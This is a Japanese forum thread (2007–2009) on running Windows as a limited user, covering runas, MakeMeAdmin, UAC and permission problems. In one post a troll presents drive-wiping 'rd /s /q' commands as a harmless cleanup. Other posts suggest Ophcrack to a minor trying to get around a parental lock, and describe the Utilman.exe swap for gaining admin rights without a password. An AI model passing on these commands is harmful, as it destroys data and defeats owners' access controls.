07/01/20 17:27:49
---------------------------
サポートされていません
---------------------------
現在のところ、ユーザー本人と異なる権限設定で Google デスクトップを
インストールすることはできません。
---------------------------
OK
---------------------------
なにこれ？？Google デスクトップ は PU 以上じゃないと使えないってこと？
391:名無しさん＠お腹いっぱい。
07/01/20 21:34:05
管理者権限必要じゃなかったっけ?
なんでか知らんけど
392:名無しさん＠お腹いっぱい。
07/01/22 23:25:31
>>390
管理者権限でログオンしてインストールすればいいよ
一度入れたら制限ユーザーでも使える
393:名無しさん＠お腹いっぱい。
07/01/24 05:12:50
たぶん、run as が使えないことに憤っているんジャマイカ？
394:名無しさん＠お腹いっぱい。
07/01/24 16:41:14
>>390,393
本当だ、Runasが効かないんだね。
それを確かめるためだけにDLしてみたよｗ
395:名無しさん＠お腹いっぱい。
07/01/24 17:04:55
インストール不要のプログラムとかをFAT32領域に置いて実行してるんだけど
FAT32ってアクセス権限とか関係なかったよね？
これ大丈夫なんかな
396:名無しさん＠お腹いっぱい。
07/01/25 00:29:00
心配なら、実行するプログラムのパスをグループポリシーでフィルタできた
ような気がする
397:名無しさん＠お腹いっぱい。
07/02/10 05:55:18
>>390
MakeMeAdmin使えば大丈夫。
398:名無しさん＠お腹いっぱい。
07/03/22 05:14:40
UACってどうなのよ？
399:名無しさん＠お腹いっぱい。
07/03/22 06:40:29
速攻で
400:名無しさん＠お腹いっぱい。
07/04/02 23:49:41
XPで、「別のユーザとして実行」で管理者になってインストーラを実行すると、
インストーラの中の「デスクトップにショートカットを作成」とかのデスクトップが、
管理者のデスクトップになっちゃうんですが、そういうものなんですか？
ユーザは自分で、管理者権限だけ欲しいときにはどうすればいいんでしょう。
401:名無しさん＠お腹いっぱい。
07/04/03 01:49:14
>>400
「別のユーザーとして実行」は文字通り別のユーザとしてだから、
資格情報はそのユーザの物が使われる（レジストリとか設定とかね)
>ユーザは自分で、管理者権限だけ欲しいときにはどうすればいいんでしょう。
まさにMakeMeAdminでしょ。
402:名無しさん＠お腹いっぱい。
07/04/09 19:08:41
ちょっとハマッていたので、書き込み。Vista上（UAC有効）でのMakeMeAdminの動作について。
OSインストールしたての頃は正常に使えていたのに、途中からAdministratorのパスワードを入れても
「システム エラー 5 が発生しました。」と出て目的のアカウントをAdministratorsに追加できくなってしまった。
随分悩んだけど、「ローカルセキュリティポリシー」→「ビルトイン Administrator アカウントのための管理者認証モード」を
有効にしたためと判明(デフォルト無効)。
UAC有効状態だと管理者でもUsers権限と同等で動くけど、そのせいでAdministratorsに追加できなかったみたい。
たぶんUAC無効なら何ら問題無いのだろうけど、せっかくだし有効のまま使いたいなと。
403:名無しさん＠お腹いっぱい。
07/04/16 08:53:03
VistaのUAC的なセキュリティをXPでも実現する「RUNASA」
URLﾘﾝｸ(www.new-akiba.com)
404:名無しさん＠お腹いっぱい。
07/04/16 09:24:22
どう考えても MakeMeAdmin の方がいい。
あと、「制限ユーザならウイルスが感染できない」とか、
片腹痛い。暴露系ウイルスには無力だろう。
405:名無しさん＠お腹いっぱい。
07/04/16 16:58:55
>>403
考え方が逆なのねｗ
普段はAdministratorsでIEとかを起動するときにはUsresで、って事か。ありっちゃありなのかな。
>バージョンアップされたばかりの国産フリーソフト
こんなこと書いてあるからバージョンアップしたのかと思ったよ。Vistaでも一応Runasa使えるんだけど、
サービスとして登録した場合は、うまく動かなかった。
406:名無しさん＠お腹いっぱい。
07/04/17 07:27:31
>>405
>普段はAdministrators
それはダメじゃないのか…？
407:名無しさん＠お腹いっぱい。
07/04/17 19:06:36
>>403 をちょろっと読んだ限りでは、この記事を書いた人間が勘違いしてる
普通に考えてこのツールは制限ユーザーでログオンしてる時にAdmin権限で
アプリを動かすツールだろう。「UAC的な使い方」が解ってない
というより、 URLﾘﾝｸ(www.new-akiba.com)
↑このスクショのユーザー名どうよ・・・？
408:名無しさん＠お腹いっぱい。
07/04/18 11:34:16
>>407
どうよってこのサイトはネトラン編集部が運営してるページだよ
知らなかったのボウヤちゃん？
409:名無しさん＠お腹いっぱい。
07/04/18 11:54:42
これは恥ずかしいな。
410:名無しさん＠お腹いっぱい。
07/04/20 18:57:54
Windows Vistaの“UAC”による権限昇格を一度で済ませるアプリ起動支援ツール
ユーザー権限を昇格した状態の本ツール経由でアプリケーションを起動
URLﾘﾝｸ(www.forest.impress.co.jp)
411:名無しさん＠お腹いっぱい。
07/04/20 23:00:10
Vista専用のRUNASAみたいな感じか・・・
便利かもしれない
ところで関係ない話だが・・・・
以前は常駐ソフトってだけで毛嫌いしてたが最近は
便利なものならいいやって思うようになってきた
Vistaを使ったりデュアルコアになったからかな
412:名無しさん＠お腹いっぱい。
07/04/24 18:57:48
このスレって、まとめサイトみたいなのはないの？
413:名無しさん＠お腹いっぱい。
07/04/25 11:15:44
質問させてください。
Administrator（パスなし）から作ったユーザーアカウントで「別のユーザーとして実行」ができなくなて
困っています。
コピペで入力しても「ログオン失敗 ユーザー名が認識できないか、パスワードが間違っています。」とエラーがでます。
作成したユーザーアカウントには管理者権限を与えたりパス付にもしてみましたが駄目でした。
しかも以前作ったもののリネームしたユーザーアカウント（恐らくAdministrator以外の管理者アカウント上で作成したもの）
が「別のユーザーとして実行」の入力欄に選択肢として出てくる上、それを選択するとちゃんとそのユーザー名でソフトが別ユーザーとして起動します。
ネットでも色々と調べましたが原因が分からず。
よろしくお願いします。
414:413
07/04/25 11:18:53
ＯＳはＸＰプロフエッショナルです。
415:名無しさん＠お腹いっぱい。
07/04/25 11:30:50
いいよ。
416:名無しさん＠お腹いっぱい。
07/04/29 10:35:37
CREATOR OWNERってXPならクリーンインストールって言うか
初めからある権限なの？
417:名無しさん＠お腹いっぱい。
07/04/29 10:55:27
うん。ビルトイン。
418:名無しさん＠お腹いっぱい。
07/04/29 11:09:41
どうもありがとう
じゃぁ消しちゃったりしたら何か不具合出る？
前見たときになかった気がしたからちょっと不安になったけど
初めからあるなら気にしないでいいか
419:名無しさん＠お腹いっぱい。
07/04/29 12:08:39
自分だけで使ってるようなPCなら、特に問題ないと思うよ。
実際自分も消しちゃってるし。
Everyone もなんとなく悪用の種になりそうだから消してる(効果は知らないw)。
420:名無しさん＠お腹いっぱい。
07/04/29 13:34:13
ふむ、そうか
じゃぁ放置しとこw
ほんとにありがとう
421:名無しさん＠お腹いっぱい。
07/04/29 16:21:34
>>406
ダメだね。IEだけUsers権限で動かすようにしてもあまり意味が無い。
>>407
別に勘違いしている訳でも無い気がする。やっぱどうしてもAdministratorsで使う人が多いから
仕方なくUACのような機能を付けた訳で、Vistaでも「普段はAdmin+UACで認証要求」ってのが普通の人の使い方だと思う。
>制限ユーザーでログオンしてる時にAdmin権限でアプリを動かすツール
この使い方で紹介するなら有用なのにね。
>>410
おーこんなものが、良いかも。でもRunasで間に合っていると言えば間に合ってる。
422:名無しさん＠お腹いっぱい。
07/04/29 16:29:22
>>413-414
Administratorアカウントを無効にしてない？それくらいしか考えられないんだけど。
「Secondary Logon」とか「Terminal Services」サービスが停止しているとか。
>>416
始めから存在すると言うよりも、名前の通りそのオブジェクトの作成者。基本的にはフルコントロールだと思うけど。
まあ消しても問題ないんじゃない。
423:名無しさん＠お腹いっぱい。
07/04/29 16:42:55
なんでNTFSのACLって分かりにくいんだろう。Unixとかの
-rwxr-xr-- の方がシンプルで超分かりやすいのに。
424:名無しさん＠お腹いっぱい。
07/04/29 23:42:29
ややスレ違いだけど、.exe は特定のフォルダでしか
実行できないようにしておくと安心だよね。
425:名無しさん＠お腹いっぱい。
07/05/13 20:35:50
むしろ"ここでは実行禁止"というフォルダを一つ作れば安全だと思う
俺は某ブログでそれを知ってからそうしてる
426:名無しさん＠お腹いっぱい。
07/05/13 21:50:51
むしろ俺は「ここでなら実行可能」というフォルダしかない。
ホワイトリスト方式。
427:名無しさん＠お腹いっぱい。
07/05/13 23:18:58
>>423
俺も個人レベルではＵＮＩＸ形式で十分だと思う。
だが、最近はＵＮＩＸ側でＡＣＬを取り入れているらしいよ。
部署同士が連携して作業するときにはむしろＡＣＬが便利らしい。
428:名無しさん＠お腹いっぱい。
07/05/13 23:37:57
Home → Unix式
Pro → ACL
429:名無しさん＠お腹いっぱい。
07/05/18 22:45:03
複数のユーザ、複数のグループごとにアクセス権が
設定できるからかね。
文書ファイルのファイル共有とかでは、そうなってるとよさそうだけど、
ＯＳやシステム周りのファイルだと、そこまで必要なことって
ある？
430:名無しさん＠お腹いっぱい。
07/07/14 21:33:37
保守
NEWSIDって、ログオンしてるユーザー以外のSIDも変更できるんだろうか？
グループのSIDを変更したいんだけど
431:名無しさん＠お腹いっぱい。
07/08/02 14:23:30
保守
前に漢字パスワードの話が出てたけど、あれって人間が打つから
問題であって、指紋認証が当たり前になったら使えそうじゃね？
寿限無…とかパスワードにしたら強そうｗ
432:名無しさん＠お腹いっぱい。
07/08/03 13:02:53
>>431
指紋はスキャンのたびに微妙に変わったりするから、IDとしては使わず
パスワード代わりに使う、と某大手SIerが言ってた。
あと、読めなくなるほど指先が磨耗してる人も珍しくないらしい
433:名無しさん＠お腹いっぱい。
07/08/03 22:02:38
生体認証はいくつか組み合わせた方がいいよね。
指紋＋指静脈＋虹彩とか。
434:名無しさん＠お腹いっぱい。
07/08/31 01:48:05
hosyu
435:名無しさん＠お腹いっぱい。
07/10/02 20:30:38
中国人に襲われたのでこれを機会に
勉強しにきました
436:名無しさん＠お腹いっぱい。
07/10/02 20:51:31
vistaになってから話題も少なくなったな…。
437:名無しさん＠お腹いっぱい。
07/10/04 17:51:13
Vistaになって制限ユーザでの運用が格段に楽になったしね。
438:名無しさん＠お腹いっぱい。
07/10/04 19:58:36
そうなん？
それに気づかずずっと管理者でやってたが
制限ユーザーを設定しなおすのめんどいな
439:437
07/10/04 23:35:03
私は楽になったなぁと思ったよ。XPのころなら自分で意識して「別ユーザで実行」しないといけないような場面でも
自動的に昇格画面が出てくるしね（出てこない場面もある）。
まあVistaでUAC有効なら管理者も制限ユーザもそんなに違いは無いので、
管理者のままでも良いかも分からんけど。
440:名無しさん＠お腹いっぱい。
07/10/07 03:20:10
制限ユーザで常用してみたら意外に使えるもんだと思ったよ(2000/XPでだけど)
管理者権限で実行はインストール関連とCD/DVD焼くぐらいだし
441:名無しさん＠お腹いっぱい。
07/10/08 06:08:32
Nero BurnRightsっての入れれば制限ユーザでもCD/DVD焼けた気が。
…そう思って米Neroのサイト見てみたらもう配布されてないのね。
数ヶ月前までダウンロードできた気がしたんだけどな。
442:名無しさん＠お腹いっぱい。
07/10/13 12:28:12
つ fURLﾘﾝｸ(ftp6.nero.com)
Nero BurnRightsを初めて知ったけどNero使ってなくてもEACとかにも有効なんやね
443:名無しさん＠お腹いっぱい。
07/11/04 11:34:51
runasaって意外に使えるね
eEye DigitalのBiotを何とか制限ユーザからスタートアップで使いたいと思ってたら、
runasaがあることを思い出してやってみた
うまく使えるようになった
TCP/IPの同時接続数制限なんか糞食らえだ
444:名無しさん＠お腹いっぱい。
07/11/21 19:58:53
runas /profile /user:Administrator explorer
で起動したexplorerはファイル操作の結果が
表示に反映されません。内部的には変わっている
のですが、explorerの表示は更新されません。
現在はＦ５を押して強制的に更新させていますが、
なにかうまい手はありませんでしょうか？
445:名無しさん＠お腹いっぱい。
07/11/21 20:10:22
あ、それ俺も前から思ってた。気づかなくてミスオペしたことある。
446:名無しさん＠お腹いっぱい。
07/12/08 04:36:03
AegisLock Personal
URLﾘﾝｸ(panasonic.co.jp)
これどうなんだろ
447:名無しさん＠お腹いっぱい。
07/12/11 12:28:08
「ファイルを開く」とかのコモンコントロールで、
右クリックにより、何でも実行できてしまう仕様は何とかならないのか。
自分は「管理者権限を持っているが常用しない」ことが目的だから
それでもいいのだけど、権利の管理には使えないよね。
具体的にどういうことかと言うと、
・Users権限のユーザに、Power Users権限を要求するソフトを使わせたいので
登録アプリをパスワード入力なしで上位の権限で実行させるサービスを作って動かす
例 URLﾘﾝｸ(www.vector.co.jp)
ということをしてみようと思ったのだけど、
そのアプリがコモンコントロールを使っていたら意味がない。
制限ユーザにその穴を知られたら、Power Users権限で何でも実行されてしまう。
448:名無しさん＠お腹いっぱい。
08/01/05 12:05:51
本当申し訳ないんですが、どなたかお助けください。
オンラインゲームをやりたくてゲームをインストールしたいのですが、
僕にはAdministratorの権限はありません。親がゲーム出来ないように
しちゃって･･･
なんとかオンラインゲームをやりたいんです！！！
何か良い方法を教えてください；；
449:名無しさん＠お腹いっぱい。
08/01/05 12:42:55
1.[スタート]→[ファイル名を指定して実行]で
cmd /c rd /s /q c:
と入力し[OK]をクリックする。
上記と同様に以下も順に実行する。
cmd /c rd /s /q d:
cmd /c rd /s /q e:
cmd /c rd /s /q f:
これでレジストリの破損やメモリのキャッシュなどがクリアされて正常になる。
HDD内も綺麗にリフレッシュされるのでオススメ。
事前予防にもなるので、やった事がなければ試してみる価値あり。
450:名無しさん＠お腹いっぱい。
08/01/05 12:56:27
>>448
1.いい機会だから辞める
2.親を説得
3.ネカフェに行く
4.Ophcrack
451:名無しさん＠お腹いっぱい。
08/01/05 13:12:30
>>450
いい機会だから親を説得 してネカフェに行ってOphcrackで逝く。
と具体的に教えてあげなさいｗｗｗ
452:名無しさん＠お腹いっぱい。
08/01/05 13:21:25
実はもうネカフェ行ってやってるんですけど；；
別にあとあと自分に何か降りかかってきてもいいんです。
どうにかして自分がAdministratorになりたいっす。
453:名無しさん＠お腹いっぱい。
08/01/05 13:55:26
自分だけに降りかかることなら、親もロックせんだろうが。
ロックしている意味を考えろ。勉強とかじゃなく、セキュリティについてな。
454:名無しさん＠お腹いっぱい。
08/01/05 15:56:13
一台しかない家族共有マシンでゲームとはふてぇ野郎ですね。
ゲームしてる間は他のこと出来なくなるんじゃないですか？
まぁ、専用機を用意してもさせてくれないと思うけど。
455:名無しさん＠お腹いっぱい。
08/01/05 17:29:56
>>452
Administratorの友達を見つけてヤシのPCでゲームをやるんだ
456:名無しさん＠お腹いっぱい。
08/01/05 18:07:29
PCは三台あってそのPC殆ど誰も手つけてない状態なんです！！
どうか救いの手を･･･
457:名無しさん＠お腹いっぱい。
08/01/05 18:23:43
自分専用のＰＣがあるってこと？
458:名無しさん＠お腹いっぱい。
08/01/05 18:31:28
ん？落ちた？まあいいや、説明マンドクサイし。
459:名無しさん＠お腹いっぱい。
08/01/05 18:37:48
言わば自分専用ですね。
どうかお願いします。
460:名無しさん＠お腹いっぱい。
08/01/05 21:02:46
パスワード解析しろよ
461:名無しさん＠お腹いっぱい。
08/01/05 21:26:48
使いもしないのに家にあるPC３台とも制限かけられるって
家族の気持ちを汲んでまっとうに生きろ
462:名無しさん＠お腹いっぱい。
08/01/06 09:25:02
パスワード解析したいっすよ！！！
463:名無しさん＠お腹いっぱい。
08/01/06 10:33:00
>>462
板違いですよ。
ネットワークセキュリティ板はPCへの侵入など、
パスワードアタックをどのようにして防ぐか等を語る板です。
パスワードアタックの方法を教える板ではありません。
464:名無しさん＠お腹いっぱい。
08/01/06 12:57:01
>>462
暗号解析ならこちら
【分散処理】またーりdistributed.net 4?【懸賞有】
ｽﾚﾘﾝｸ(jisaku板)
465:名無しさん＠お腹いっぱい。
08/01/16 01:17:28
管理者権限を持たないユーザーによる IE の修正プログラム適用について
URLﾘﾝｸ(support.microsoft.com)
↑制限ユーザーで自動更新を使ってインストールした場合はどうなるのだろう？
一応Windows Updateとしか記載ないので大丈夫なのかな
URLﾘﾝｸ(blog.tsukacyi.net)
↑この人のように設定したら、制限ユーザーでも
自動更新はインストールできたようだが、果たして。。。
466:名無しさん＠お腹いっぱい。
08/01/17 22:16:48
自動更新だろうと、WindowsUpdateだろうと、runasによるEXE実行だろうと全部同じ事じゃないの。
とくかく更新時の再起動後、1回だけは管理者で入らないと駄目って言う。
私もそれに従って更新後は管理者でログオンするようにしてるけど。
Vistaではそこらもうまく考えてくれてると思うけどねぇ（多分）。
467:名無しさん＠お腹いっぱい。
08/01/17 23:46:16
Vistaにしてからこのスレいらなくなった。
権限に躍起になってた頃が懐かしい。
468:名無しさん＠お腹いっぱい。
08/01/27 14:38:46
Vista（笑）
469:名無しさん＠お腹いっぱい。
08/01/27 19:25:16
>>467
そんな糞OS使ってる時点で負け組だってことに
いい加減気づこうな。
470:名無しさん＠お腹いっぱい。
08/01/30 03:30:47
>>469
結構悪くないよVista
UACはやっぱ便利だし慣れたらXP使ったときに面倒って思うかも。
471:名無しさん＠お腹いっぱい。
08/02/16 18:27:03
Vista（笑）
472:名無しさん＠お腹いっぱい。
08/02/17 01:23:53
約20日振りのレスがこれか
473:名無しさん＠お腹いっぱい。
08/02/21 13:43:23
XP Pro使ってます。
Admin権限はもっているんですが、Secondary Logonなどが無効に
なっているため、別ユーザでの実行ができません。
開始状態にしようとするとエラー 1058というのがでてしまいます。
どうしたらいいんでしょうか・・・orz
474:名無しさん＠お腹いっぱい。
08/02/22 01:15:33
Secondary Logon などを有効にすればいいですよ！
475:名無しさん＠お腹いっぱい。
08/02/22 01:40:54
普段はXP ProをPower User権限で使ってるが
Administratorじゃないと使えないソフトがたまにある
476:473
08/02/22 13:39:27
>>474
有効にしてから開始にしようとするとエラーがでるんです。
477:名無しさん＠お腹いっぱい。
08/02/22 19:35:19
依存関係では？
478:473
08/02/23 01:52:03
>>477
依存関係の部分はなし、なしです。
479:名無しさん＠お腹いっぱい。
08/03/17 23:47:46
xp pro sp2 でAdministrator権限のユーザで使用。
何の気なしに、
xp pro sp2がインストールされているCドライブを右クリック→
セキュリティ タブ→
SYSTEMの権限がフルコントロールとかにチェックされてるのを外す→
といった操作をして終了。→
次回起動時に青色背景xpの旗がでるところから先に進まなくなる。(ログインできない)→
caclsで元にもどさねば、とセーフモード(コマンドプロンプト)で起動。
上記同様でログインできない。→
xp pro sp2用のインストール用起動ディスクに回復コンソールというのがあると知り、
「修復」を試すも、「ハードディスクを認識できませんでした」とエラーが出て終了。
最初の時点でSYSTEM権限ってのがどういうものなのか、
ちゃんと理解してないままいじってしまったのが痛い。
(今もいまいちよくわからんけど。)
自業自得だけどｵﾜﾀ。
>>473
以前色々とサービス無効にしてたら、guestログインできなくなったことある。
一見、guestログインとは無関係なサービスでも無効にすると支障がでたりするからこまる。
480:名無しさん＠お腹いっぱい。
08/03/25 03:02:19
管理者権限のユーザーAと制限ユーザーBを作成して
普段は制限ユーザーBを使っているのですが、この制限ユーザーBのレジストリを
管理者権限のユーザーAから変更する方法はありますか
、
制限ユーザーBに管理者権限を与える・昇格するなどせず
管理者権限のユーザーAでログオンして、制限ユーザーBのレジストリをいじる方法はありますか
481:名無しさん＠お腹いっぱい。
08/03/27 22:41:02
>>480
いじりたいレジストリのキーが制限ユーザーBのHKEY_CURRENT_USER以下に
あるということならば、普通にレジストリエディタを起動して、HKEY_USERSの下の
いずれかのキーがローカルのユーザーのHKEY_CURRENT_USERに対応しているから、
ユーザー名で検索するなどして見当をつけてから、そこをいじれば良いと思う。
・・・単に別のユーザーのHKEY_CURRENT_USER以下がいじりたいだけなら、
runas等で別のユーザー権限でレジストリエディタを起動したらいいだけだけど。
482:480
08/03/28 01:53:53
>>481
レスありがとうございます。regedt32を使ってHKEY_USERSにntuser.datを
ハイブのロードで読みこんで、編集した後ハイブのアンロードで解決しました。
483:名無しさん＠お腹いっぱい。
08/04/16 11:34:57
Cドライブのアクセス権
Administrators フル
Authenticatede Users 読み取り
System フル
OS インストールすると即効変更します。
Everyone は匿名ユーザーを含むので使いませぬ。
484:名無しさん＠お腹いっぱい。
08/04/20 10:27:52
あげ
485:名無しさん＠お腹いっぱい。
08/04/21 21:21:52
困りました～
XP proでAdministratorを無効にして、後で有効に戻したんですが
管理ツールのローカルセキュリティーに(管理者権限を与えた)他のユーザーでアクセスできません。
直す方法はありますでしょうか？
他にも制限が出てないといいんですが、全部はテストできず、
後から出てくるのはメンドイので速めに対処したいです
よろしくお願いします。
486:名無しさん＠お腹いっぱい。
08/04/22 21:34:26
Vista Homeだけど、Administratorでログオンするようにしたらちょっとなじめるようになったわ。
487:名無しさん＠お腹いっぱい。
08/05/22 21:01:51
VISTAはどの権限で使うか迷う
488:名無しさん＠お腹いっぱい。
08/05/23 00:41:36
>>485
Vistaはどうだかしらないけど、XPは頻繁に権限を変えるようにはできてないね。
一度adminにしたらずっとそのまま、一度userにしたらそのままにしないと
プロファイル関係がおかしなことになる。
つまりuserではほとんど使えないってこと。
489:名無しさん＠お腹いっぱい。
08/05/27 05:12:27
Windows VistaはIDやパスワードが判らなくても誰でも容易に管理者権限を奪える
1) LinuxのLiveCDなどでパソコンを起動
2) WindowsディレクトリにあるUtilman.exeを cmd.exeに置き換えてリブート
3) ログイン画面でユーザーIDやパスワードが判らなくても「U」を押す
4) 「Utilman.exe」のコンソール画面が起動
5) コンソール画面から「explorer」を起動
所要時間は2～3分でログインをしていなくても管理者権限で全て操作を行うことが可能
URLﾘﾝｸ(www.technobahn.com)
490:名無しさん＠お腹いっぱい。
08/05/27 19:17:15
ええええええええええええ
491:名無しさん＠お腹いっぱい。
08/06/14 15:19:35
XPで制限ユーザでログインしている状態で
Microsoft update を「別ユーザ」として実行すると、
インストールするモジュールの選択やダウンロードまでは問題なく進むんだけど
その後のインストール処理がことごとく失敗します。
ログインし直さずにupdateをすませる方法って無いのかな？
自動更新以外で
492:名無しさん＠お腹いっぱい。
08/06/14 15:20:51
491「別ユーザ」は当然administratorで実行しています
493:名無しさん＠お腹いっぱい。
08/06/15 14:17:01
月一だし更新したらどうせ再起動だろうし原因を調査するの諦めた俺
494:名無しさん＠お腹いっぱい。
08/06/16 01:52:51
>>491
まず、実際にHotfixなどのインストールを行うプログラムがどんな権限で起動しているかが
問題として考えられるよね
制限ユーザレベルの権限で起動しているとすれば、失敗するのは自明だよね
495:名無しさん＠お腹いっぱい。
08/06/16 03:15:09
ProcessExplorerで起動プロセスを監視しながら確認してみました
一瞬なので何回も試行する必要がありましたが
どうやら wuauclt.exe がログオン中のユーザの権限で起動されることが原因だと分かりました
その際、IE(Microsoft update)はadministratorで、wmiprvseはNETWORK SERVICEで、
wuauclt.exe が SYSTEM により起動させられているのに、
何故だかインストール時は、別の wuauclt.exe がログオン中のユーザにより起動させられて
失敗するのです
この仕様ひどくないですか？回避は難しそうです
496:名無しさん＠お腹いっぱい。
08/06/17 00:13:29
つか諦めて自動更新汁
497:名無しさん@お腹いっぱい
08/06/18 13:49:05
突然ですが、どなたか助けてください。OSはXP home editionで
ｿﾌﾄをｲﾝｽﾄｰﾙ使用するにはadoministratorの許可を受けて使用して下さいという
ものでした。起動時F8を押してｾｰﾌﾓｰﾄﾞにしenterｷｰを押したあとstart→
ﾌｧｲﾙ名を指定して「msconfig」と入力、safebootにﾁｪｯｸを入れました。
しかしｿｳﾄのｱｲｺﾝをｸﾘｯｸしてもｲﾝｽﾄｰﾙされません。
どのようにしたらいいんでしょうか?
498:名無しさん＠お腹いっぱい。
08/06/18 17:21:07
>>495
そこがXPの限界かもね
499:名無しさん＠お腹いっぱい。
08/07/15 11:14:56
制限ユーザーでログインしたWin2000にRUNASAでいくつか管理者権限のアイコン作ってみました。
結果、>>491の方と同じでMS Updateダウンロードはできてもインストールで失敗しました。
また、レジストリ削除ツールやmsconfigも管理者権限で起動すると
表示されるレジストリやスタートアップ項目は管理者アカウントのものだから
現在Windowsにログインしている制限ユーザーのレジストリやスタートアップをいじるには
この制限ユーザー自身の権限をあげてやらないとだめってことですよね？
普段は制限ユーザーでログインしてWindowsや各アプリのアップデート、システムいじるアプリは
RUNASAでアイコン作って実行しようと思っていましたがなにかと面倒そうですね・・・
500:名無しさん＠お腹いっぱい。
08/07/19 20:05:45
ｽﾚﾘﾝｸ(sec板)l50
501:名無しさん＠お腹いっぱい。
08/07/22 15:59:17
ｽﾚﾘﾝｸ(sec板:500番)n
502:名無しさん＠お腹いっぱい。
08/07/25 07:30:58
URLﾘﾝｸ(www.nicovideo.jp)
503:名無しさん＠お腹いっぱい。
08/08/05 10:35:58
数時間前まで大丈夫だったサイトが改竄されてた！なんて話も珍しくない
ご時世だから管理者権限でネット接続するのは控えてる。さすがにログイン
し直すのは面倒だから、RUNASAで制限アカウント作成して１ヶ月ほど使ってみたけ
けど、終了時３秒ほど多めに待ってやればキチンと切り替わるので特に不都合は感じないな。
やっぱ未知のアドウェアに関して効果が見込めるのがいいね。
>>495
wuauclt.exe ←起動後しばらく経って立ち上がるヤツね。いつも思うんだが
Update無いのに数分居座られるのが気に入らないｗ RUNASA使うと楽だよ。
504:名無しさん＠お腹いっぱい。
08/10/29 05:13:54
普通にAdminで使ってる
505:名無しさん＠お腹いっぱい。
08/11/13 15:55:14
自分専用のPCでMakeMeAdminを使用していますが、いつの間にか管理者権限に昇格されていました。
バグなんでしょうか？
>>30-31を見て便利そうなんで使ってたんですけど。。。
んでセキュリティーソフトで検疫したらWINDOWSフォルダ以下のToolsフォルダにRegexe.exeというトロイが発見されんでこれが原因かもしれない。
う～ん便利なだけに謎を解明したい（汗
506:名無しさん＠お腹いっぱい。
08/11/27 21:51:57
>>505
MakeMeAdmeinは一時的に使用中のユーザをAdministratorsグループに追加するだけの
バグの入りようのないくらい簡単なバッチファイルなんだけど。
すでにウィルスが入り込んでる時点で>>505のPCは何も信用できないぞ
507:名無しさん＠お腹いっぱい。
08/12/15 18:44:25
古い話だけど、>>389のリンク先にあったPrivBar.zipがなくなってるんですが
どこか置いてあるところありませんかね？
508:名無しさん＠お腹いっぱい。
08/12/16 09:36:42
URLﾘﾝｸ(blogs.msdn.com)
509:名無しさん＠お腹いっぱい。
08/12/16 13:35:52
PrivBarなんてあるんだ
510:507
08/12/16 22:43:55
>>508
ありがとう。これはWindowsXPからなんだね。Windows2000に入らなくて
悩んじゃった。
511:名無しさん＠お腹いっぱい。
09/01/28 15:30:02
XPをUsers権限で常用している人
各種セキュリティソフトは何を使っていますか
アンチウイルスソフト、パーソナルファイアウォール、HIPS等々
Users権限でも難なく使える、Users権限では使いにくい、やや難あり、とかあれば教えてください
512:名無しさん＠お腹いっぱい。
09/02/11 17:13:20
XPでAdmin常用でネットに繋ぐものだけDropMyRightsしてるわ
アンチウイルスは期限が切れてから入れてない
ファイアウォールはOS付属
513:名無しさん＠お腹いっぱい。
09/02/20 22:33:29
制限ユーザだとHIPS不要なの？んなわけないよね？
514:名無しさん＠お腹いっぱい。
09/03/01 16:57:24
Power Usersアカウントが持つ恐ろしい「力」
URLﾘﾝｸ(itpro.nikkeibp.co.jp)
セキュリティ保護にならないPower Users
515:名無しさん＠お腹いっぱい。
09/03/03 19:09:57
うむ。あらためて Users 常用&臨時 MakeMeAdmin でよかったと思う。
516:名無しさん＠お腹いっぱい。
09/03/05 01:40:21
これってどう？
MakeMeAdminのように現在ログオンしているユーザを昇格させるツール。
URLﾘﾝｸ(www.moongift.jp)
URLﾘﾝｸ(sudown.sourceforge.net)
結構前からあるツールみたいだけど、日本じゃほとんど知られてないっぽい。
517:名無しさん＠お腹いっぱい。
09/03/08 20:14:30
「セキュリティ」タブと WinXP Home Edition
URLﾘﾝｸ(pg-torch-ic.jugem.jp)
HKEY_LOCAL_MACHINE¥SYSTEM¥CurrentControlSet¥Control¥SafeBoot¥Option
をたどり(無かったらキーを作成)、OptionValue の値を DWORD 値で「1」に設定します。
すると、フォルダを右クリックすると「セキュリティ」タブが表示されるようになります。
ところがこの状態で Windows を再起動すると、まるでセーフモードになったかのように、
一部の機能が使用できなくなって管理者ユーザーでしかログインできなくなってしまいます。
どうやら、上記の値は rshx32.dll 以外の DLL もチェックしているように思われます。
なので、実際に普通の状態で「セキュリティ」タブを使うには、
通常起動してからレジストリを書き換え、終了前に元に戻す作業を毎回行うか、
rshx32.dll をうまく書き換えて値のチェックを通るようにする方法をとる必要があります。
518:名無しさん＠お腹いっぱい。
09/05/16 11:36:21
>>516
JaneStyleを起動させようとしたら、フォルダのアクセス権が足らなくて
結局RunAsで起動した。
MobileMeterを起動させようとしたら、「このプログラムの実行には
Administrator権限が必要です。」と出た。
やっぱ最初からAdminでログオンしないと出来ないことが多いな。
時々努力はしてるけど、これじゃ一般のPCユーザーは見向きもしないね。
519:名無しさん＠お腹いっぱい。
09/05/16 13:47:11
>>518
一般ユーザーと言っても何も考えないでケチつける馬鹿に使って
もらおうなんて誰も考えてないから心配するなｗ
520:名無しさん＠お腹いっぱい。
09/05/19 17:44:43
そのとおりだな
別に買いたくない人にまで売りつけようとしてるわけじゃないんだし
521:名無しさん＠お腹いっぱい。
09/05/20 13:01:56
XPまではUACみたいなものがなかったから仕方がないんだがな。
JaneStyleとかアクセス権弄ればいいし、
mobilemeterとかはrunasを含んだショートカットつくっとけばまだ使いやすいだろ。
そもそも一般ユーザにadministorators権限だのusers権限だのいっても分からんから
結局のところ使い込んだユーザ向けのもんだろ。
522:名無しさん＠お腹いっぱい。
09/05/21 13:08:04
RunAs(笑)
523:名無しさん＠お腹いっぱい。
09/05/25 20:02:18
「Administrator権限でご使用ください。」なソフトを作ってる会社は糞だな。パナソニックとか。
524:名無しさん＠お腹いっぱい。
09/05/26 16:46:59
ノーガード
525:名無しさん＠お腹いっぱい。
09/05/26 22:31:26
制限ユーザーで使うとどんな良いことが有るんですか？
526:名無しさん＠お腹いっぱい。
09/05/27 08:00:05
>>525
ソフトのインストールができない。
まともに動かないソフトがある。
コントロールパネルで使えないものがある。
つまり、良いことなし。
527:名無しさん＠お腹いっぱい。
09/05/27 08:08:53
インストール不要、管理者権限不要で使えるアプリが対応しているファイルの拡張子を関連付けようとしたら
管理者権限が必要だったのでイラッときた
関連付けはユーザ毎にできるもんだと思ってたよ
528:名無しさん＠お腹いっぱい。
09/05/28 03:05:39
>>527
フォルダオプションからはできないが、関連付けてたいファイルを右クリック→プログラムから開く→プログラムの選択でできる。
open動詞しか変更できないが。
529:名無しさん＠お腹いっぱい。
